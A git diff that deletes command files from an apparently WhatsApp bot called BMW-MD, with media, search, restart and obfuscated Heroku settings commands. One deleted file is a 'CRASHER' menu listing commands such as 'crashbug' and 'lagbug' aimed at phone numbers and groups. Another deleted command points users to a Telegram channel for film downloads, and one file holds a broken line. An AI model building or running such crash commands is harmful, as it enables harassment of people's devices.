- const _0x2fab7f = await axios.get("http://www.omdbapi.com/?apikey=742b2d09&t=" + _0x51290b + "&plot=full");
- const _0x315c2c = _0x2fab7f.data;
- let _0x1d9b0f = "*Yoo if you want to download this film join telegram channel below and get it*\n";
- _0x1d9b0f += " ``` https://t.me/ibrahimtechai```\n";
- _0x1d9b0f += "*BMW MD FILMS SEARCH*\n";
- _0x1d9b0f += "🎬Title : " + _0x315c2c.Title + "\n";
- _0x1d9b0f += "⭐Assessment : " + _0x315c2c.Rated + "\n";
- _0x1d9b0f += "📆Release : " + _0x315c2c.Released + "\n";
- _0x1d9b0f += "⏳Runtime : " + _0x315c2c.Runtime + "\n";
- _0x1d9b0f += "🌀Genre : " + _0x315c2c.Genre + "\n";
- _0x1d9b0f += "👨🏻💻Director : " + _0x315c2c.Director + "\n";
- _0x1d9b0f += "✍writers : " + _0x315c2c.Writer + "\n";
- _0x1d9b0f += "👨actors : " + _0x315c2c.Actors + "\n";
- _0x1d9b0f += "🌐Language : " + _0x315c2c.Language + "\n";
- _0x1d9b0f += "🌍Contry : " + _0x315c2c.Country + "\n";
- _0x1d9b0f += "🏙️Production : " + _0x315c2c.Production + "\n";
- _0x1d9b0f += "❎imdbVotes : " + _0x315c2c.imdbVotes + "\n";
- _0x1d9b0f += "🤠Sponsor : ©Ibrahim Adams";
- _0x44c40c.sendMessage(_0x41a878, {
- 'image': {
- 'url': _0x315c2c.Poster
- },
- 'caption': _0x1d9b0f
- }, {
- 'quoted': _0x3b271c
- });
- } catch (_0x4a93c8) {
- _0x111c6a("An error occurred while searching IMDb.");
- }
-});
-adams({
- 'nomCom': "emomix",
- 'categorie': 'Conversion'
-}, async (_0x551458, _0x2c4778, _0x21c569) => {
- const {
- arg: _0x259928,
- repondre: _0x1e8365,
- ms: _0x4866c8,
- nomAuteurMessage: _0x259630
- } = _0x21c569;
- if (!_0x259928[0x0] || _0x259928.length !== 0x1) {
- _0x1e8365("Incorrect use. Example: .emojimix 😀;🥰");
- return;
- }
- const _0x1dbdf4 = _0x259928.join(" ").split(';');
- if (_0x1dbdf4.length !== 0x2) {
- _0x1e8365("Please specify two emojis using a ';' as a separator.");
- return;
- }
- const _0x4c4e39 = _0x1dbdf4[0x0].trim();
- const _0x19c1b9 = _0x1dbdf4[0x1].trim();
- try {
- const _0x36bc47 = require("axios");
- const _0x559df0 = await _0x36bc47.get("https://levanter.onrender.com/emix?q=" + _0x4c4e39 + _0x19c1b9);
- if (_0x559df0.data.status === true) {
- let _0x4ad919 = new Sticker(_0x559df0.data.result, {
- 'pack': _0x259630,
- 'type': StickerTypes.CROPPED,
- 'categories': ['🤩', '🎉'],
- 'id': '12345',
- 'quality': 0x46,
- 'background': "transparent"
- });
- const _0xab42e7 = await _0x4ad919.toBuffer();
- _0x2c4778.sendMessage(_0x551458, {
- 'sticker': _0xab42e7
- }, {
- 'quoted': _0x4866c8
- });
- } else {
- _0x1e8365("Unable to create emoji mix.");
- }
- } catch (_0x527ade) {
- _0x1e8365("An error occurred while creating the emoji mix." + _0x527ade);
- }
-});
diff --git a/scs/bmweo.js b/scs/bmweo.js
deleted file mode 100644
index dbf0a0d..0000000
--- a/scs/bmweo.js
+++ /dev/null
@@ -1,1337 +0,0 @@
-'use strict';
-
-Object.defineProperty(exports, '__esModule', {
- 'value': true
-});
-const {
- adams
-} = require("../Ibrahim/adams");
-adams({
- 'nomCom': "repo",
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x256950, _0x3cdb38, _0x2c604e) => {
- const _0x2f4eff = await fetch('https://api.github.com/repos/devibraah/BWM-XMD');
- const _0x36b130 = await _0x2f4eff.json();
- if (_0x36b130) {
- const _0x50985d = {
- 'stars': _0x36b130.stargazers_count,
- 'forks': _0x36b130.forks_count,
- 'lastUpdate': _0x36b130.updated_at,
- 'owner': _0x36b130.owner.login
- };
- const _0x20cf11 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x50985d.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x50985d.stars + "\n🍴 Forks: " + _0x50985d.forks + "\n🌐 Repo: " + _0x36b130.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x3cdb38.sendMessage(_0x256950, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x20cf11
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-adams({
- 'nomCom': "git",
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x2ad97e, _0xc5957d, _0x2a01f1) => {
- const _0x23b84a = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x54f98d = await _0x23b84a.json();
- if (_0x54f98d) {
- const _0x33ab65 = {
- 'stars': _0x54f98d.stargazers_count,
- 'forks': _0x54f98d.forks_count,
- 'lastUpdate': _0x54f98d.updated_at,
- 'owner': _0x54f98d.owner.login
- };
- const _0x305ae3 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x33ab65.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x33ab65.stars + "\n🍴 Forks: " + _0x33ab65.forks + "\n🌐 Repo: " + _0x54f98d.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS";
- await _0xc5957d.sendMessage(_0x2ad97e, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x305ae3
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-adams({
- 'nomCom': 'sc',
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x1f8a03, _0x41191c, _0x8dd7fa) => {
- const _0x21464f = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x3fb866 = await _0x21464f.json();
- if (_0x3fb866) {
- const _0x4bac21 = {
- 'stars': _0x3fb866.stargazers_count,
- 'forks': _0x3fb866.forks_count,
- 'lastUpdate': _0x3fb866.updated_at,
- 'owner': _0x3fb866.owner.login
- };
- const _0x58e2e9 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4bac21.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4bac21.stars + "\n🍴 Forks: " + _0x4bac21.forks + "\n🌐 Repo: " + _0x3fb866.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x41191c.sendMessage(_0x1f8a03, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x58e2e9
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-adams({
- 'nomCom': 'script',
- 'reaction': '📂',
- 'nomFichier': __filename
-}, async (_0x44e4c9, _0x300ccb, _0x323299) => {
- const _0x10746e = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
- const _0x40fb34 = await _0x10746e.json();
- if (_0x40fb34) {
- const _0x4777ba = {
- 'stars': _0x40fb34.stargazers_count,
- 'forks': _0x40fb34.forks_count,
- 'lastUpdate': _0x40fb34.updated_at,
- 'owner': _0x40fb34.owner.login
- };
- const _0x338973 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4777ba.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4777ba.stars + "\n🍴 Forks: " + _0x4777ba.forks + "\n🌐 Repo: " + _0x40fb34.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
- await _0x300ccb.sendMessage(_0x44e4c9, {
- 'image': {
- 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
- },
- 'caption': _0x338973
- });
- } else {
- console.log("Could not fetch data");
- }
-});
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
diff --git a/scs/bmweu.js b/scs/bmweu.js
deleted file mode 100644
index 2fe96c4..0000000
--- a/scs/bmweu.js
+++ /dev/null
@@ -1,103 +0,0 @@
-const util = require('util');
-const fs = require('fs-extra');
-const { adams } = require(__dirname + "/../Ibrahim/adams");
-const { format } = require(__dirname + "/../Ibrahim/mesfonctions");
-const os = require("os");
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../config");
-const more = String.fromCharCode(8206)
-const Taphere = more.repeat(4001)
-
-adams({ nomCom: "bugmenu", categorie: "General" }, async (dest, zk, commandeOptions) => {
- let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
- let { cm } = require(__dirname + "/../Ibrahim//adams");
- var coms = {};
- var mode = "public";
-
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
-
- cm.map(async (com, index) => {
- if (!coms[com.categorie])
- coms[com.categorie] = [];
- coms[com.categorie].push(com.nomCom);
- });
-
- moment.tz.setDefault("Africa/Nairobi");
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
-let infoMsg = `
-┏❏ ⌜ *BMW MD CRASHER* ⌟ ❐
-❐ bug
-❐ crash
-❐ loccrash
-❐ amountbug
-❐ crashbug 254XXXX
-❐ pmbug 254XXXX
-❐ delaybug 254XXXX
-❐ trollybug 254XXXX
-❐ docubug 254XXXX
-❐ unlimitedbug 254XXXX
-❐ bombug 254XXXX
-❐ lagbug 254XXXX
-❐ gcbug
-❐ delaygcbug
-❐ trollygcbug
-❐ laggcbug
-❐ bomgcbug
-❐ unlimitedgcbug
-❐ docugcbug
-
-> ⏲️ *TIME* : ${temps}
-> 📅 *DATE* : ${date} `;
-
-let menuMsg = `
-
-
- 🄱🄼🅆-🄼🄳
-
-
-▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
-▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
-▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
-▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
-
-> ©Ibrahim Adams projects
-
- `;
-
- var lien = mybotpic();
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis adams*, déveloper adams Tech" , gifPlayback : true }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Vérification pour .jpeg ou .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(infoMsg + menuMsg);
-
-}
-
-});
diff --git a/scs/bmwf.js b/scs/bmwf.js
deleted file mode 100644
index 4001426..0000000
--- a/scs/bmwf.js
+++ /dev/null
@@ -1,31 +0,0 @@
-const {adams}=require("../Ibrahim/adams")
-
-
-
-
-
-
-
-adams({nomCom:"restart",categorie:"Mods",reaction:"📴"},async(dest,z,com)=>{
-
-
-
-const{repondre,ms,dev,superUser}=com;
-
- if(!superUser)
- {
- return repondre("This command is for owner only");
- }
-
- const {exec}=require("child_process")
-
- repondre("BMW-MD bot Restarting ⏳");
-
- exec("pm2 restart all");
-
-
-
-
-
-
-})
diff --git a/scs/bmwfet.js b/scs/bmwfet.js
deleted file mode 100644
index 55d9d2a..0000000
--- a/scs/bmwfet.js
+++ /dev/null
@@ -1,63 +0,0 @@
-const { adams } = require("../Ibrahim/adams");
-const { default :axios } = require("axios");
-const { mediafireDl } = require("../Ibrahim/dl/Function");
-
-adams({
- nomCom: "fetch",
- categorie: "Search",
- reaction: '🛄',
-}, async (_0x34e935, _0x726ab, _0x295c2d) => {
- const { repondre: _0x356671, arg: _0x3dfafe } = _0x295c2d;
- const urlInput = _0x3dfafe.join(" ");
-
- if (!/^https?:\/\//.test(urlInput)) {
- return _0x356671("Start the *URL* with http:// or https://");
- }
-
- try {
- const url = new URL(urlInput);
- const fetchUrl = `${url.origin}${url.pathname}?${url.searchParams.toString()}`;
- const response = await fetch(fetchUrl);
-
- if (!response.ok) {
- return _0x356671("Failed to fetch the URL. Status: " + response.status + " " + response.statusText);
- }
-
- const contentLength = response.headers.get('content-length');
- if (contentLength && parseInt(contentLength) > 104857600) {
- return _0x356671("Content-Length exceeds the limit: " + contentLength);
- }
-
- const contentType = response.headers.get('content-type');
- console.log('Content-Type:', contentType);
-
- const buffer = Buffer.from(await response.arrayBuffer());
- if (/image\/.*/.test(contentType)) {
- await _0x726ab.sendMessage(_0x34e935, {
- image: { url: fetchUrl },
- caption: "> > *BMW MD*"
- }, { quoted: _0x295c2d.ms });
- } else if (/video\/.*/.test(contentType)) {
- await _0x726ab.sendMessage(_0x34e935, {
- video: { url: fetchUrl },
- caption: "> > *BMW MD*"
- }, { quoted: _0x295c2d.ms });
- } else if (/text|json/.test(contentType)) {
- try {
- const json = JSON.parse(buffer);
- console.log("Parsed JSON:", json);
- _0x356671(JSON.stringify(json, null, 2).slice(0, 10000));
- } catch {
- _0x356671(buffer.toString().slice(0, 10000));
- }
- } else {
- await _0x726ab.sendMessage(_0x34e935, {
- document: { url: fetchUrl },
- caption: "> > *BMW MD*"
- }, { quoted: _0x295c2d.ms });
- }
- } catch (error) {
- console.error("Error fetching data:", error.message);
- _0x356671("Error fetching data: " + error.message);
- }
-});
diff --git a/scs/bmwh.js b/scs/bmwh.js
deleted file mode 100644
index 05ce377..0000000
--- a/scs/bmwh.js
+++ /dev/null
@@ -1,94 +0,0 @@
-const { adams } = require('../Ibrahim/adams');
-const {addOrUpdateDataInAlive , getDataFromAlive} = require('../lib/alive')
-const moment = require("moment-timezone");
-const s = require(__dirname + "/../config");
-
-adams(
- {
- nomCom : 'alive',
- categorie : 'General'
-
- },async (dest,zk,commandeOptions) => {
-
- const {ms , arg, repondre,superUser} = commandeOptions;
-
- const data = await getDataFromAlive();
-
- if (!arg || !arg[0] || arg.join('') === '') {
-
- if(data) {
-
- const {message , lien} = data;
-
-
- var mode = "public";
- if ((s.MODE).toLocaleLowerCase() != "yes") {
- mode = "private";
- }
-
-
-
- moment.tz.setDefault('Etc/GMT');
-
-// Créer une date et une heure en GMT
-const temps = moment().format('HH:mm:ss');
-const date = moment().format('DD/MM/YYYY');
-
- const alivemsg = `
-*Owner* : ${s.OWNER_NAME}
-*Mode* : ${mode}
-*Date* : ${date}
-*Hours(GMT)* : ${temps}
-
- ${message}
-
-
- *BMW-MD-WABOT*`
-
- if (lien.match(/\.(mp4|gif)$/i)) {
- try {
- zk.sendMessage(dest, { video: { url: lien }, caption: alivemsg }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-// Checking for .jpeg or .png
-else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
- try {
- zk.sendMessage(dest, { image: { url: lien }, caption: alivemsg }, { quoted: ms });
- }
- catch (e) {
- console.log("🥵🥵 Menu erreur " + e);
- repondre("🥵🥵 Menu erreur " + e);
- }
-}
-else {
-
- repondre(alivemsg);
-
-}
-
- } else {
- if(!superUser) { repondre("there is no alive for this bot") ; return};
-
- await repondre("You have not yet saved your alive, to do this; enter after alive your message and your image or video link in this context: .alive message;lien");
- repondre("don't do fake thinks :)")
- }
- } else {
-
- if(!superUser) { repondre ("Only the owner can modify the alive") ; return};
-
-
- const texte = arg.join(' ').split(';')[0];
- const tlien = arg.join(' ').split(';')[1];
-
-
-
-await addOrUpdateDataInAlive(texte , tlien)
-
-repondre(' Holla🥴, *BMW-MD BOT* is alive just like you gee. ')
-
-}
- });
diff --git a/scs/bmwhlp.js b/scs/bmwhlp.js
deleted file mode 100644
index 3ac6f48..0000000
--- a/scs/bmwhlp.js
+++ /dev/null
@@ -1 +0,0 @@
-const require {remote git}
diff --git a/scs/bmwhrk.js b/scs/bmwhrk.js
deleted file mode 100644
index 79c1043..0000000
--- a/scs/bmwhrk.js
+++ /dev/null
@@ -1,334 +0,0 @@
-
-const _0x2cf381=_0x5ac8;(function(_0x462270,_0x1b791a){const _0x4348ca=_0x5ac8,_0x1220a5=_0x462270();while(!![]){try{const _0x284f60=-parseInt(_0x4348ca(0x1aa))/0x1*(-parseInt(_0x4348ca(0x19b))/0x2)+parseInt(_0x4348ca(0x181))/0x3*(parseInt(_0x4348ca(0x1c7))/0x4)+-parseInt(_0x4348ca(0x1bb))/0x5*(-parseInt(_0x4348ca(0x1ac))/0x6)+-parseInt(_0x4348ca(0x1b9))/0x7+parseInt(_0x4348ca(0x197))/0x8+-parseInt(_0x4348ca(0x180))/0x9+parseInt(_0x4348ca(0x1c8))/0xa;if(_0x284f60===_0x1b791a)break;else _0x1220a5['push'](_0x1220a5['shift']());}catch(_0x54290a){_0x1220a5['push'](_0x1220a5['shift']());}}}(_0x5439,0x711b0));function _0x5ac8(_0x431fb2,_0x7e63c9){const _0x543944=_0x5439();return _0x5ac8=function(_0x5ac8e9,_0x45054f){_0x5ac8e9=_0x5ac8e9-0x176;let _0x45bda4=_0x543944[_0x5ac8e9];return _0x45bda4;},_0x5ac8(_0x431fb2,_0x7e63c9);}function _0x5439(){const _0x49d674=['stanzaId','utf-8','heroku','patch','insert\x20the\x20variable\x20name\x20in\x20capital\x20letter','description','/apps/','2376648aNdqQw','*\x20=>\x20','../Ibrahim/adams','\x20*BMW\x20VAR\x20SETTINGS*\x20\x0a\x0a','30cBmGRI','HEROKU_APY_KEY','\x0aChoose\x20a\x20variable\x20by\x20replying\x20its\x20number','(((.+)+)+)+$','pm2\x20restart\x20all','setprefix','yes','writeFileSync','toString','log','Only\x20Mods\x20can\x20use\x20this\x20command','*Heroku\x20Vars\x20list\x20*\x0a\x0a','BOT_NAME','*Description*\x20:','Bad\x20format\x20;\x20Exemple\x20of\x20using\x20:\x0asetvar\x20OWNER_NAME=Ibrahim\x20Adams','1403OXNXtI','length','129450lSmuko','/config-vars','Error','HEROKU_APP_NAME','extendedTextMessage','sendMessage','keys','AUTO_DOWNLOAD_STATUS','message','error','key','child_process','get\x20a\x20heroku\x20var','4512963ctyWnK','nom','75RtBWvb','command\x20reserved\x20for\x20bot\x20owner','awaitForMessage','variable\x20refresh\x0a\x20restart\x20in\x20progress....','Please\x20fill\x20in\x20the\x20HEROKU_APP_NAME\x20and\x20HEROKU_APY_KEY\x20environment\x20variables','HEROKU','constructor','setvar','heroku-client','BOT_MENU_LINKS','PUBLIC_MODE','Heroku','28dcWpVB','5850420OIfFjA','map','env','STARTING_BOT_MESSAGE','split','text','warncount','\x20\x20\x20\x20*BMW\x20VAR\x20SETTINGS*\x20\x0a\x0a','join','get\x20all\x20heroku\x20vars','only\x20Mods\x20can\x20use\x20this\x20commande','contextInfo','PRESENCE','set.env','8122779LJoyMK','335883OMNmSx','PM_PERMIT','🚘\x20*','The\x20environment\x20variable\x20description\x20was\x20not\x20found.','-\x20*','Heroku\x20vars\x20are\x20rebooting\x20,\x20Redeploying....','get','edit\x20settings\x20of\x20the\x20bot','readFileSync','WARN_COUNT','variable\x20refresh,\x20restart\x20in\x20progress....','\x0a└──────\x20⋆⋅☆⋅⋆\x20──────┘\x0a\x0aPlease\x20reply\x20on\x20message\x20with\x20the\x20number\x20corresponding\x20to\x20your\x20choice','settings','search','parse'];_0x5439=function(){return _0x49d674;};return _0x5439();}const {adams}=require(_0x2cf381(0x199)),s=require('../config'),fs=require('fs'),dotenv=require('dotenv');function getDescriptionFromEnv(_0x396d52){const _0x291b1f=_0x2cf381;filePath='./app.json';const _0x8c8ee0=fs[_0x291b1f(0x189)](filePath,_0x291b1f(0x191)),_0x1fd930=JSON[_0x291b1f(0x18f)](_0x8c8ee0),_0x30138d=_0x1fd930[_0x291b1f(0x1ca)][_0x396d52];return _0x30138d&&_0x30138d['description']?_0x30138d[_0x291b1f(0x195)]:_0x291b1f(0x184);}adams({'nomCom':_0x2cf381(0x1c2),'categorie':'heroku','description':'set\x20a\x20heroku\x20var'},async(_0x4bdf5a,_0x27ad89,_0x4276d9)=>{const _0x3a29b2=_0x2cf381,{ms:_0x19e904,repondre:_0x111d17,superUser:_0x54ed3b,arg:_0x22f28d}=_0x4276d9;if(!_0x54ed3b){_0x111d17(_0x3a29b2(0x17c));return;};if(s['HEROKU_APP_NAME']==null||s[_0x3a29b2(0x19c)]==null){_0x111d17(_0x3a29b2(0x1bf));return;};if(!_0x22f28d[0x0]||!_0x22f28d['join']('')[_0x3a29b2(0x176)]('=')){_0x111d17(_0x3a29b2(0x1a9));return;};const _0x23f1e4=_0x22f28d[_0x3a29b2(0x17a)]('\x20'),_0x343480=require('heroku-client'),_0x131a18=new _0x343480({'token':s[_0x3a29b2(0x19c)]});let _0x4af6f4='/apps/'+s[_0x3a29b2(0x1af)];await _0x131a18[_0x3a29b2(0x193)](_0x4af6f4+_0x3a29b2(0x1ad),{'body':{[_0x23f1e4[_0x3a29b2(0x176)]('=')[0x0]]:_0x23f1e4['split']('=')[0x1]}}),await _0x111d17(_0x3a29b2(0x186));}),adams({'nomCom':'getallvar','categorie':'heroku','description':_0x2cf381(0x17b)},async(_0x3fcb26,_0x29194c,_0x2fcba8)=>{const _0x4899ac=_0x2cf381,{ms:_0x3b642f,repondre:_0x1378b4,superUser:_0x1677ec,arg:_0x5e7639}=_0x2fcba8;if(!_0x1677ec){_0x1378b4('only\x20mods\x20can\x20use\x20this\x20commande');return;};if(s[_0x4899ac(0x1af)]==null||s[_0x4899ac(0x19c)]==null){_0x1378b4(_0x4899ac(0x1bf));return;};const _0x542360=require('heroku-client'),_0x4cfe44=new _0x542360({'token':s[_0x4899ac(0x19c)]});let _0xde26d4='/apps/'+s[_0x4899ac(0x1af)],_0xceffee=await _0x4cfe44[_0x4899ac(0x187)](_0xde26d4+_0x4899ac(0x1ad)),_0x2e958d=_0x4899ac(0x1a6);for(vr in _0xceffee){_0x2e958d+=_0x4899ac(0x183)+vr+'*\x20'+'=\x20'+_0xceffee[vr]+'\x0a';}_0x1378b4(_0x2e958d);}),adams({'nomCom':'getvar','categorie':_0x2cf381(0x192),'description':_0x2cf381(0x1b8)},async(_0x19935c,_0x68589a,_0x222e7f)=>{const 